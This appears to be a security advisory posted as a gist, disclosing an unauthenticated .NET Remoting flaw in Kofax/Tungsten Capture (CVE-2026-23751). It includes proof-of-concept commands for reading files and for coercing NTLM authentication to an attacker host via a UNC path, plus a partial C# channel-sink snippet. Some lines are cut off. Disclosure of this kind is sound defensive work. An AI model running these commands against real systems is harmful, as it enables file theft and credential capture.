VAMorales / **Kofax Capture - Unauthenticated NET Remoting vulnerabilities.md**

Created 2 days ago

Code Revisions 2

Kofax Capture - Unauthenticated File Read/Write and SMB coercion via .NET Remoting

`Kofax Capture - Unauthenticated NET Remoting vulnerabilities.md`

Exploit Title: Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting

Disclosure Date: 4/23/2026

CVE ID: CVE-2026-23751

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Vendor Homepage: https://docshield.tungstenautomation.com/Portal/Products/en_US/KC/11.1.0-40hy9nfk91/KC.htm

Known Affected Versions: 6.0.0.0

Description

Kofax Capture, now referred to as Tungsten Capture, version 6.0.0.0 (other versions may be affected) exposes a deprecated .NET Remoting HTTP channel on port 2424 via the Ascent Capture Service (C:\Kofax\CaptureSS\ServLib\Bin\ACSvc.exe) that is accessible without authentication and uses a default, publicly known endpoint identifier. By modifying the PoC of Code-White's RemotingClient_MBRO_Lazy.exe program to implement a custom channel sink to redirect .NET Remoting traffic to the correct host, an unauthenticated remote attacker can exploit .NET Remoting object unmarshalling techniques to instantiate a remote System.Net.WebClient object and read arbitrary files from the server filesystem, write attacker-controlled files to the server, or coerce NTLMv2 authentication to an attacker-controlled host, enabling sensitive credential disclosure, denial of service, remote code execution, or lateral movement depending on service account privileges and network environment.

PoC

```
.\RemotingClient_MBRO_Lazy.exe http://<TARGET_IP>:2424/ACService C:\ProgramDa
```

```
.\RemotingClient_MBRO_Lazy.exe http://<TARGET_IP>:2424/ACService file://\\<AT
```

Snippet of the custom channel fix code:

```
internal class ChannelUriFixingClientChannelSinkProvider : IClientChannelSink
    {
        private readonly string publicHost;
        private readonly int publicPort;

        public IClientChannelSinkProvider Next { get; set; }

        public ChannelUriFixingClientChannelSinkProvider(Uri objUrl)
        {
            if (objUrl == null) throw new ArgumentNullException(nameof(objUrl

            this.publicHost = objUrl.Host;
            this.publicPort = objUrl.Port;
        }
```